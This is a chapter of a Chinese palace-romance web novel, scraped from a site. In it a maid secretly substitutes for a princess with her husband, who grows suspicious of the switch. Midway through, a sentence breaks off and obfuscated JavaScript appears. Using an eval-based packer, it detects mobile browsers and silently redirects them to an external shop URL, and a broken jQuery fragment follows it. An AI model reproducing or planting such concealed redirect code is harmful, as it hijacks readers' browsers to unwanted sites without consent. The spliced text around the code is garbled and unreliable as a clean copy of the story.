文趣网 > 其他小说 > 清欢误 > 21. 再探
    “清晏!”

    顺着沈扬的声音,裴瑀转身,一眼便望见了柔筠。

    人□□错的街巷间,他站在红彤彤的糖葫芦边,蓦然一回首,仿若时光有须臾的凝结,令柔筠呼吸猛然变得轻浅。

    如果不是沧海桑田相隔,下一瞬该是他拿着一串晶莹的糖葫芦向她走来,笑着递进她手中。

    她也可以开心地笑着回应,而不是像现在这样,下一刻便猛然低下头去,匆匆向跨过街道走来的他行了一个郑重其事的礼,便立即提出告辞。

    裴瑀短短的沉默像是宣告了失望,但却并没有出言阻拦。

    柔筠安静地转身离开,直到走远,才敢复回头一望,但却已经走了太远。

    或许他们之间的距离就是如此了。

    如今的她对他已经有了太过深重的欺骗,便是如他所想要的老友、旧识的关系,她也不再敢放在心上。

    是她对不起他,便也不该再以这样的身份获得来自他的关心。

    最好就是这样公事公办,一点点将曾经交集续下的对彼此的牵绊之心全然斩断才好。

    虽然她还没做到,但是她希望能帮他做到。

    他哪怕恨她也是应该的。

    因为这虽然是命运的迫使,但也是她的选择。

    “清晏,我想了想,觉得或许还可以再努力一把。”看着柔筠的背影走远,沈扬想了想,又煞有介事地生出些动力。

    “什么?”裴瑀兴致不高。

    “今日我与阿筠相谈得甚是愉快,只是我觉得她似乎并不是十分开心,也许是最近在公主府又遇到什么难事。但也难怪,毕竟替人做事都不是好交差的,我不忍见她辛苦,不然便再多试一回,倘若她心意有变,你帮我与二公主斡旋一二,我便可以直接接她离开,也省得还要你从中间折腾一道,替我照看,恐怕也不细心。”

    沈扬说得挺上心,然而这次裴瑀却没有立刻接话。

    “怎么,你这是在走神还是不同意?”沈扬疑惑,打量了裴瑀一眼,又生了个念头,“阿筠是个很难得的姑娘,这般细细想来,你们虽说身份出身不同,但性情优点方面倒有些许相似,难怪都是我沈扬的朋友。”

    他说着哈哈大笑,像是很为自己的眼光得意。

    “近来有些事,不太方便,日后再说吧。”裴瑀沉默过后,并没有给出沈扬想要的回答。

    “啊?”沈扬这回是真有些诧异,他又看看裴瑀的态度,觉得不像是日后再说这么简单,模棱两可的倒像是并不真心想帮了,“你先前不是很支持我的吗,现下这是怎得了,是觉得不可行?”

    不是觉得不可行,是害怕。

    但裴瑀也不能跟沈扬说,只能无奈叹了口气,拍了拍他的肩,“你放心,我是真的有些事要处理,等忙完了,倘若结果落定,再行商议这事可好?”

    这下沈扬真看出裴瑀心情不佳了。

    “刚才见你在街对面时,看着心情还好,怎么这会突然这么苦大仇深的。”沈扬不解,仔细想了想,“你是见着阿筠觉得不开心?是你近来又跟二公主关系不佳了,所以看见她贴身侍候的阿筠也觉得心情不好?怎么,是上回的事情二公主至今还在责怪于你吗?”

    裴瑀见到柔筠,岂会有不开心之理。

    只是一团乱麻,叫他如何与沈扬说。

    “无事,并非因此,你不必忧心,快些将这些大葱卖完回府是正事,别在外面等得太晚了,我便先回去了。”

    “好罢,那你自己多注意。”

    “好。”

    裴瑀今日回府的确是有事要做的。

    他要再探一次。

    今日是约定七日的的第六日,裴瑀来了正院。

    近几日只要有空,裴瑀都会来正院用晚膳,因为他用膳时也并不说什么话,所以未免麻烦,赵允灵也并没有强行驱赶。

    今日张寻叫人传信,说想念她,故而用膳时她都在思索应该与寻郎约在何时见面。

    算算日子,明日便是约定好的第一个第七日,倘若她出门恐怕不会回来太早,但话说回来也不过就晚上那段时间,她早些出去,晚上再早些回来似乎也可以,只是总觉得见过寻郎之后便来应付裴瑀,如此有些奇怪。

    不然就干脆与裴瑀说,再往后推一日?

    赵允灵有点纠结,抬头瞟了两眼裴瑀,却没想到正与裴瑀的目光对上。

    顿了一下,裴瑀反倒先开了口:“臣有一事想与殿下商议。”

    “……何事?”赵允灵总觉得不会是什么好事,但出于隐秘的愧疚还是问。

    “明日衙署有事,臣回来的或许会有些晚,不知是否赶得及约定,是以想询问公主,不知可否将时间提前一日,今日臣便在此歇下?”

    “什么?”赵允灵先是猛一睁大眼,随后不可置信地转而与身边地柔筠对视。

    这个裴瑀怎么说话不算数呢?

    赵允灵硬生生回头,态度十分坚决,“不行!这本是约好的事,才第一回驸马便要更改,这让本宫还如何能信任于你?”

    “殿下——”严嬷嬷唤了她一声,语气带着些提醒的不赞同。

    赵允灵缓吸口气,端身坐正。

    “总之就是不行,这事没得商量,驸马既然有事要忙,自然是先紧着公事,大不了错过这次,直接再等下个七日便是了。”

    往日若是知道裴瑀过来,无论是东西还是心情赵允灵都要提前有所准备,如今这晚膳都要用完了,此时才提,倘若真叫裴瑀留下,岂非一阵兵荒马乱?

    “殿下。”严嬷嬷再次小声提醒。

    原本这什么七日之约严嬷嬷便是十分不赞同的,但是这是小夫妻两个私下之间商议的事情,也不是坏事,她便没有多说什么,只是倘若每回驸马有事,殿下便藉此一拖再拖,那好事反倒成了殿下逃避的借口,可就不是那么回事了。

    裴瑀旁观着他一句话引出的暗流涌动,出言缓和:“原也只是想与殿下商议,既然殿下不同意,那便还是依着先前约定,明日臣从衙署下职后尽量早些过来,殿下便不必等臣用膳了。”

    啊?

    赵允灵先是一愣,后又生气,很想说是谁给了他她会等他用膳的错觉,但身后柔筠也悄悄扯了扯她的衣角提醒,她这才勉强按捺住情绪。

    其实她很想说那便干脆不要来好了,但最后还是妥协,“那就这样罢。”

    因为被裴瑀这突然的提议一搅和,赵允灵干脆忘记了先前打算延后一天的提议,之后想起来后悔得不行。

    裴瑀的心情也不比她好到哪去。

    他自然看见了提议之后赵允灵与柔筠的眉眼官司

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776088|208837||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,心中颇有些不宁静。

    公主听闻提议的第一反应是与身边人对视,这已十分证明他先前关于换人的猜测。从前也并不是没有这样的情况,只是他从未深想。

    的确,要做这样的事,柔筠身为公主的贴身侍女是不可能毫不知情的,这一点是令他心中酸涩但又不敢深想的。

    或许公主看向柔筠只是因为柔筠全权负责此事。

    但倘若选中的人选并非柔筠,公主下意识第一个看向的人,还会是柔筠吗?

    这个十分大胆的猜测再次不受控制地在心间发酵。裴瑀如何都再无法说服自己否定这种可能。

    于是证实便显得迫在眉睫。

    ……

    昏暗的室内,再一次上演与七日前相同的戏码。

    门窗未开,却有秾热的微风流过肩臂,在狭窄的床室中盘旋。

    屋内的气息是热的,不燥,而是那种被体温反复捂热似的,软绵绵的暖。

    就在这温软的叫人将要昏睡过去的时刻,柔筠忽然觉得颈间微痛,一个有些过于用力的吻辗转来回,又在她终于忍不住抬手推拒时浅浅撤开。

    即便是在意识朦胧之中,柔筠也略显气馁地意识到,因她这一时地犹豫,明日颈间定是又要留下痕迹。

    ……

    如她所料,第二日对镜自照时,柔筠一眼就瞧见了颈上那道比前一日更深了些的红痕。

    以自己代替二公主的角色所言,她总觉得最近裴瑀待二公主似乎的感觉亲近了许多,倘若是最一开始,裴瑀好似不会如此。

    究竟是情感上的亲近,还是同一桩事做熟稔之后的不同表现,柔筠也没有办法十分分得清楚,只是于她而言都是十分的煎熬罢了。

    柔筠轻轻摸了摸脖子上的痕迹,叹了口气,熟练地拿起妆粉稍遮了遮,又去橱中拣了件高领的春衫换上,这才准备出门上职。

    幸而如今还是春日,若是到了夏日依然如此,只怕便要惹人生疑了。

    人生总是这般令人为难的。

    出门径直撞见脚步匆匆的裴瑀,便是又一桩的为难。

    “驸马万安。”虽然意外之下目光微微躲闪,但见裴瑀脚步匆匆似是有正事无暇顾及自己的样子,柔筠本想着低头行个礼,目送裴瑀离开便罢了。

    哪知正因裴瑀脚步匆匆,走过来时竟像失了一向的稳重似的,在柔筠还没反应过来时二人便已相撞。

    柔筠轻呼一声,向后趔趄的身体便已经被裴瑀稳稳抓住胳膊扶稳。

    只是距离有些过于近了。

    裴瑀低眸关切,语气惭怍:“没事吧?”

    柔筠反应过来,立刻挣开他的手,与他拉开距离,重新行礼时头埋得更低。

    “奴婢无事,多谢驸马关心。”

    “那便好。”

    裴瑀也没有多言,像是真有急事般,转身便又继续向前走去。

    好似方才当真只是一个意外。

    柔筠盯着他离开的背影望了两息,缓过神来,舒了口气,这才转身朝与裴瑀相反的方向走去。

    而她没有看到的是,在她转身后,已经走远的裴瑀脚步放慢,又倏然停下,缓缓转回身来。

    他的目光同样远远落在柔筠渐行渐远的纤细背影上,眸中的情绪却是一反常态、超乎寻常的郑重。